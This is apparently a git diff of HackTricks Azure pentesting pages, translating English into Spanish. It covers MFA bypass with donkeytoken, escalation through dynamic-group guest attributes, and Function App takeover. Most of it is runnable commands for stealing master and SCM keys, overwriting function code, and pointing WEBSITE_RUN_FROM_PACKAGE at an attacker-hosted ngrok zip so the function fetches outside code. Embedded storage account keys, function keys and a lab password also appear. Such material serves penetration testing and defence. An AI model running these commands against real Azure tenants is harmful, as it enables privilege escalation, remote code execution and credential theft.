necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Test each portal** if it's possible to **login without MFA**: - +**Prueba cada portal** si es posible **iniciar sesión sin MFA**: ```powershell $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` - -Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested: - +Porque el **portal** de **Azure** **no está restringido**, es posible **recolectar un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` - -Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token: - +Suponiendo que el token tiene el permiso Sites.Read.All (de Sharepoint), incluso si no puedes acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` - -## References +## Referencias - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 322d18348..86da53dcb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -2,28 +2,27 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**. +**Dynamic groups** son grupos que tienen un conjunto de **reglas** configuradas y todos los **usuarios o dispositivos** que coinciden con las reglas se añaden al grupo. Cada vez que se **cambia** un **atributo** de un usuario o dispositivo, las reglas dinámicas se **vuelven a verificar**. Y cuando se **crea** una **nueva regla**, todos los dispositivos y usuarios son **verificados**. -Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups. +Los grupos dinámicos pueden tener **roles de Azure RBAC asignados** a ellos, pero **no es posible** añadir **roles de AzureAD** a grupos dinámicos. -This feature requires Azure AD premium P1 license. +Esta función requiere una licencia de Azure AD premium P1. ## Privesc -Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes. +Tenga en cuenta que, por defecto, cualquier usuario puede invitar a invitados en Azure AD, así que, si una **regla** de grupo dinámico otorga **permisos** a los usuarios en función de **atributos** que pueden ser **establecidos** en un nuevo **invitado**, es posible **crear un invitado** con estos atributos y **escalar privilegios**. También es posible que un invitado gestione su propio perfil y cambie estos atributos. -Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** +Obtenga grupos que permiten membresía dinámica: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** -### Example +### Ejemplo -- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group - -For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ -Unfortunately the page doesn't allow to modify the attribute values so we need to use the API: +- **Ejemplo de regla**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +- **Descripción de la regla**: Cualquier usuario invitado con un correo electrónico secundario que contenga la cadena 'security' será añadido al grupo +Para el correo electrónico del usuario invitado, acepte la invitación y verifique la configuración actual de **ese usuario** en [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ +Desafortunadamente, la página no permite modificar los valores de los atributos, así que necesitamos usar la API: ```powershell # Login with the gust user az login --allow-no-subscriptions @@ -33,22 +32,17 @@ az ad signed-in-user show # Update otherMails az rest --method PATCH \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --headers 'Content-Type=application/json' \ - --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' +--url "https://graph.microsoft.com/v1.0/users/" \ +--headers 'Content-Type=application/json' \ +--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' # Verify the update az rest --method GET \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --query "otherMails" +--url "https://graph.microsoft.com/v1.0/users/" \ +--query "otherMails" ``` - -## References +## Referencias - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index dd5b81f35..375e53336 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,41 +4,38 @@ ## Function Apps -Check the following page for more information: +Consulta la siguiente página para más información: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -### Bucket Read/Write +### Lectura/Escritura de Bucket -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**. +Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar **diferentes contenedores** (personalizados o con nombres predefinidos) que pueden contener **el código ejecutado por la función**. -Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function. +Una vez que encuentres dónde se encuentra el código de la función, si tienes permisos de escritura sobre él, puedes hacer que la función ejecute cualquier código y escalar privilegios a las identidades administradas adjuntas a la función. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`) -The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function. - -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, permitiendo escalar privilegios a las identidades administradas adjuntas a la Función. +Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -Those configs will contain the **Storage Account Key** that the Function can use to access the code. +Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código. > [!CAUTION] -> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges. +> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios. -The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares: +El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda consultar también la siguiente página para obtener más información sobre file shares: {{#ref}} ../az-services/az-file-shares.md {{#endref}} - ```bash # Username is the name of the storage account # Password is the Storage Account Key @@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen open "smb://.file.core.windows.net/" ``` - - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**. - -Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in: +También es común encontrar los **zip releases** dentro de la carpeta `function-releases` del contenedor de la Cuenta de Almacenamiento que la aplicación de funciones está utilizando en un contenedor **generalmente llamado `function-releases`**. +Normalmente, este método de implementación configurará el `WEBSITE_RUN_FROM_PACKAGE` en: ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges. +> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip** es posible ejecutar código arbitrario en la Función y escalar privilegios. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`. +Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) - -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function: +- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`) +Con permisos para leer los contenedores dentro de la Cuenta de Almacenamiento que almacena los datos de la función, es posible encontrar el contenedor **`scm-releases`**. Allí es posible encontrar la última versión en **formato de archivo de sistema de archivos Squashfs** y, por lo tanto, es posible leer el código de la función: ```bash # List containers inside the storage account of the function app az storage container list \ - --account-name \ - --output table +--account-name \ +--output table # List files inside one container az storage blob list \ - --account-name \ - --container-name \ - --output table +--account-name \ +--container-name \ +--output table # Download file az storage blob download \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip ## Even if it looks like the file is a .zip, it's a Squashfs filesystem @@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` - -It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **``** in the JSON files you can find inside. +También es posible encontrar las **claves maestra y de funciones** almacenadas en la cuenta de almacenamiento en el contenedor **`azure-webjobs-secrets`** dentro de la carpeta **``** en los archivos JSON que puedes encontrar dentro. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges. - +> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en un archivo con extensión zip** (que en realidad es un **`squashfs`**) es posible ejecutar código arbitrario en la Función y escalar privilegios. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-.zip -b 131072 -noappend # Upload it to the blob storage az storage blob upload \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip \ - --overwrite +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip \ +--overwrite ``` - ### Microsoft.Web/sites/host/listkeys/action -This permission allows to list the function, master and system keys, but not the host one, of the specified function with: - +Este permiso permite listar las claves de función, maestro y sistema, pero no la clave de host, de la función especificada con: ```bash az functionapp keys list --resource-group --name ``` - -With the master key it's also possible to to get the source code in a URL like: - +Con la clave maestra también es posible obtener el código fuente en una URL como: ```bash # Get "script_href" from az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Access curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` - -And to **change the code that is being executed** in the function with: - +Y para **cambiar el código que se está ejecutando** en la función con: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` - ### Microsoft.Web/sites/functions/listKeys/action -This permission allows to get the host key, of the specified function with: - +Este permiso permite obtener la clave de host de la función especificada con: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` - ### Microsoft.Web/sites/host/functionKeys/write -This permission allows to create/update a function key of the specified function with: - +Este permiso permite crear/actualizar una clave de función de la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/host/masterKey/write -This permission allows to create/update a master key to the specified function with: - +Este permiso permite crear/actualizar una clave maestra para la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - > [!CAUTION] -> Remember that with this key you can also access the source code and modify it as explained before! +> ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes! ### Microsoft.Web/sites/host/systemKeys/write -This permission allows to create/update a system function key to the specified function with: - +Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**. - +Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**. ```bash az functionapp config appsettings list --name --resource-group ``` - -Moreover, this permission also allows to get the **SCM username and password** (if enabled) with: - +Además, este permiso también permite obtener el **nombre de usuario y la contraseña de SCM** (si está habilitado) con: ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` - ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write -These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. +Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función. -It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application: - -- Start by getting the current config +Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip de URL que contenga el nuevo código para ejecutar dentro de una aplicación web: +- Comience obteniendo la configuración actual ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -- Create the code you want the function to run and host it publicly - +- Crea el código que deseas que la función ejecute y hospédalo públicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -234,228 +203,189 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` +- Modifica la función, mantén los parámetros anteriores y añade al final la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a la URL con el **zip** que contiene el código. -- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code. - -The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app. - +El siguiente es un ejemplo de **mis propios ajustes, necesitarás cambiar los valores por los tuyos**, nota al final los valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, aquí es donde estaba alojando la aplicación. ```bash # Modify the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ - --headers '{"Content-Type": "application/json"}' \ - --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' +--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ +--headers '{"Content-Type": "application/json"}' \ +--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` - ### Microsoft.Web/sites/hostruntime/vfs/write -With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint): - +Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ - --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ - --body @/tmp/body +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ +--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ +--body @/tmp/body ``` - ### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) -This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**: - +Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ - --name \ - --resource-group \ - --output json +--name \ +--resource-group \ +--output json ``` - -Another option would be to set you own creds and use them using: - +Otra opción sería establecer tus propias credenciales y usarlas con: ```bash az functionapp deployment user set \ - --user-name DeployUser123456 g \ - --password 'P@ssw0rd123!' +--user-name DeployUser123456 g \ +--password 'P@ssw0rd123!' ``` +- Si las credenciales de **REDACTED** -- If **REDACTED** credentials - -If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` - +Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - } +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} ``` +- **Método SCM** -- **Method SCM** - -Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables: - +Luego, puedes acceder con estas **credenciales de autenticación básica a la URL SCM** de tu aplicación de funciones y obtener los valores de las variables de entorno: ```bash # Get settings values curl -u ':' \ - https://.scm.azurewebsites.net/api/settings -v +https://.scm.azurewebsites.net/api/settings -v # Deploy code to the funciton zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ - https://.scm.azurewebsites.net/api/zipdeploy +https://.scm.azurewebsites.net/api/zipdeploy ``` +_Note que el **nombre de usuario SCM** suele ser el carácter "$" seguido del nombre de la aplicación, así que: `$`._ -_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ +También puedes acceder a la página web desde `https://.scm.azurewebsites.net/BasicAuth` -You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth` +Los valores de configuración contienen la **AccountKey** de la cuenta de almacenamiento que almacena los datos de la aplicación de función, lo que permite controlar esa cuenta de almacenamiento. -The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account. - -- **Method FTP** - -Connect to the FTP server using: +- **Método FTP** +Conéctate al servidor FTP usando: ```bash # macOS install lftp brew install lftp # Connect using lftp lftp -u '','' \ - ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ +ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ # Some commands ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` - -_Note that the **FTP username** is usually in the format \\\$\._ +_Note que el **nombre de usuario FTP** suele estar en el formato \\\$\._ ### Microsoft.Web/sites/publish/Action -According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application: - +Según [**la documentación**](https://github.com/projectkudu/kudu/wiki/REST-API#command), este permiso permite **ejecutar comandos dentro del servidor SCM** que podrían usarse para modificar el código fuente de la aplicación: ```bash az rest --method POST \ - --resource "https://management.azure.com/" \ - --url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ - --body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug +--resource "https://management.azure.com/" \ +--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ +--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug ``` - ### Microsoft.Web/sites/hostruntime/vfs/read -This permission allows to **read the source code** of the app through the VFS: - +Este permiso permite **leer el código fuente** de la aplicación a través del VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - ### Microsoft.Web/sites/functions/token/action -With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code: - +Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función: ```bash # Get admin token az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ - --headers '{"Content-Type": "application/json"}' \ - --debug +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ +--headers '{"Content-Type": "application/json"}' \ +--debug # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ - -H "Authorization: Bearer " +-H "Authorization: Bearer " ``` - ### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) -This permissions allows to **enable functions** that might be disabled (or disable them). - +Este permiso permite **habilitar funciones** que podrían estar deshabilitadas (o deshabilitarlas). ```bash # Enable a disabled function az functionapp config appsettings set \ - --name \ - --resource-group \ - --settings "AzureWebJobs.http_trigger1.Disabled=false" +--name \ +--resource-group \ +--settings "AzureWebJobs.http_trigger1.Disabled=false" ``` - -It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis): - +También es posible ver si una función está habilitada o deshabilitada en la siguiente URL (usando el permiso entre paréntesis): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` - ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it. - +Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute. ```bash az functionapp config container set --name \ - --resource-group \ - --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" +--resource-group \ +--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` - ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) -With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity. - +Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario. ```bash az functionapp identity assign \ - --name \ - --resource-group \ - --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +--name \ +--resource-group \ +--identities 